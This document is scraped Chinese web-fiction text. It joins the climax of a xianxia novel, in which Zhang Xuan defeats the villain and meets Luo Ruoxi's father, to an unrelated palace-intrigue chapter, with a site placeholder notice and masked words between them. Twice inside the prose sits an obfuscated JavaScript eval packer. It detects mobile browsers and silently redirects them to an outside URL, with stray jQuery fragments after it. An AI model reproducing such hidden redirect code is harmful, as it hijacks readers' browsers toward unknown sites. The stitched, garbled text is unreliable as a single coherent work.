这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149307|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百八十七章 ” 他的声音,越来越大,越来越愤怒,到最后,几乎是在咆哮。 他紧紧地攥着拳头,指节因为用力而泛白,手背上的青筋根根暴起。 “我告诉你,茅暮暮,所有的事情,都是刁然告诉我的。你的那些丑事,他早就知道了。还有,你的那个贴身丫鬟,临死前,曾托人给我带了一句话……” “她说……她后悔了,后悔助纣为虐,后悔……替你顶罪……” 刁明远的声音,微微有些哽咽。 他强忍着泪水,不让它流下来。 茅暮暮的身体,猛地一震。 她瞪大了眼睛,满脸的惊恐和难以置信。 她张了张嘴,想要说些什么,却发现自己的喉咙像是被什么东西堵住了,一个字也说不出来。 “你……你说什么?” 过了许久,她才找回自己的声音,颤抖着问道。 “我说,你的那个丫鬟,**!她后悔了,后悔替你这样一个蛇蝎心肠的女人顶罪!” 刁明远一字一顿地说道,每一个字,都像一把刀子,狠狠地扎进茅暮暮的心里。 茅暮暮的身体,摇摇欲坠。 她再也支撑不住,一下子瘫软在地。 “不……不可能……这不可能……” 她喃喃自语,眼神空洞,像是失去了灵魂一般。 “陪伴你十余载的贴身婢女香消玉殒,你却只想着攀龙附凤?” 刁明远的声音,再次响起。 他看着茅暮暮,眼神中充满了失望和厌恶。 “她不过是个低贱的丫鬟,**就**!我的荣华富贵才是最重要的!没了她,我还有别人可以利用!只要我能嫁给太子,我就是未来的皇后,谁敢看不起我?!” 茅暮暮突然疯了般地尖叫起来,表情扭曲。 “无可救药。” 刁明远看着她,缓缓吐出四个字,再无一丝留恋。 他转身,决然离去。 茅暮暮还想再追,却被他狠狠一推,再次跌倒在地。 刁明远大步走出包间,一路疾行,头也不回。 刚走到酒楼门口,迎面就看到了茅清兮。 他脚步一顿,脸上的怒气和厌恶,迅速消散,取而代之的,是一抹复杂难言的情绪。 茅清兮也看见了他。 她微微一怔,但很快就恢复了平静。 她像没看见他一样,目不斜视,径直往里走,仿佛他只是一个无关紧要的陌生人。 刁明远站在原地,看着她的背影,心里像是被什么东西狠狠地揪了一下,疼得他几乎喘不过气来。 他张了张嘴,想要叫住她,却又不知道该说些什么。 犹豫了片刻,他还是开口了。 “宋……宋小姐。” 他的声音,有些沙哑,还带着一丝不易察觉的颤抖。 茅清兮停下脚步,缓缓转过身,看着他。 “有事?” 她的语气,依旧平淡,听不出任何情绪。 刁明远看着她,深吸一口气,强迫自己冷静下来。 “我……我已经申请外调了,过几天,就要离开京城,去……去徽州府上任了。” 他开口,声音低沉而缓慢。 茅清兮微微有些惊讶,但很快就恢复了平静。 “恭喜刁大人,前程似锦,步步高升。” 她微微颔首,语气客套而疏离,像是在对待一个普通的同僚。 “嗯。” 刁明远应了一声,却没有再说什么。 他看着茅清兮,眼神复杂,欲言又止。 过了许久,他才再次开口,声音很轻,却很坚定。 “对不起。” 茅清兮愣住了。 她看着刁明远,眼神中充满了疑惑和不解。 这句“对不起”,来得毫无缘由,让她觉得莫名其妙。 她不知道,刁明远为什么要向她道歉。 她和他之间,似乎并没有什么需要道歉的地方。 “无妨。” 她淡淡地说道,并没有把这件事放在心上。 刁明远也没有再说什么。 他说完这句话,就转身离开了酒楼,脚步匆匆,像是逃离一般。 茅清兮站在原地,看着他离去的背影,眉头微微皱起。 她没有在意刁明远的道歉,转身走进了酒楼。 刚进门,就看到司玄苏站在那里,正等着她。 “主子,您来了。” 司玄苏迎了上来。 茅清兮点了点头, “嗯,刚才在门口遇到了刁明远,他说他要外调去徽州府了。” 司玄苏有些惊讶, “他倒是挺有自知之明。不过,主子,刚才包间里发生的事情……” 他欲言又止。 茅清兮摆了摆手, “不用说了,我都知道了。茅暮暮,已经不足为虑了。” 她的语气,平静而自信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159121|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是,主子。” 司玄苏应道。 “太子那边,最近有什么动静?” 茅清兮话锋一转,问起了正事。 司玄苏的脸色,立刻严肃起来。 “太子殿下,似乎已经准备将白苏道长引荐给圣上了。不出意外的话,应该就是这一两天的事情。” 他顿了顿,又补充道, “听说,太子殿下为了取信圣上,还准备了一份厚礼,据说是一颗能延年益寿的仙丹。” 茅清兮眉头紧锁。 钱云霄想靠白苏道长翻身,谈何容易。 倘若白苏道长真获圣上青睐,对太子**来说,无疑是如虎添翼。 当务之急,是阻止这一切。 可白苏道长是青鸾阁出身,医术高明,想要揭穿他,绝非易事。 更何况,丹药这种东西,真真假假,虚虚实实,很难说得清楚。 “有没有办法,在白苏道长觐见圣上之前,就让他露出马脚?” 茅清兮沉思片刻,问道。 司玄苏摇了摇头, “很难。白苏道长行事谨慎,几乎没有任何破绽。而且,他背后有青鸾阁支持,我们很难查到他的底细。” “那就只能从丹药入手了。” 茅清兮说道。 “可丹药……” 司玄苏欲言又止。 “我知道,丹药很难查验真伪。但我们可以换个思路,不查丹药,查人。” 茅清兮打断他,眼中闪过一道精光。 “查人?” 司玄苏有些疑惑。 “没错。既然白苏道长是青鸾阁出身,那我们就从青鸾阁入手。看看能不能找到一些,关于白苏道长,或者关于青鸾阁的……不为人知的秘密。” 茅清兮说道。 “主子英明。属下这就去安排。” 司玄苏立刻明白了茅清兮的意思。 “还有,宁王和贤王那边,也要密切关注。尤其是贤王,他最近风头正盛,隐隐有压过宁王一头的趋势。我们要想办法,在他们之间制造一些……矛盾。” 茅清兮继续说道。 “主子是想……坐山观虎斗?” 司玄苏问道。 “没错。鹬蚌相争,渔翁得利。我们要做的,就是那个渔翁。” 茅清兮点了点头。 “可贤王府,我们暂时还没有安插人手。” 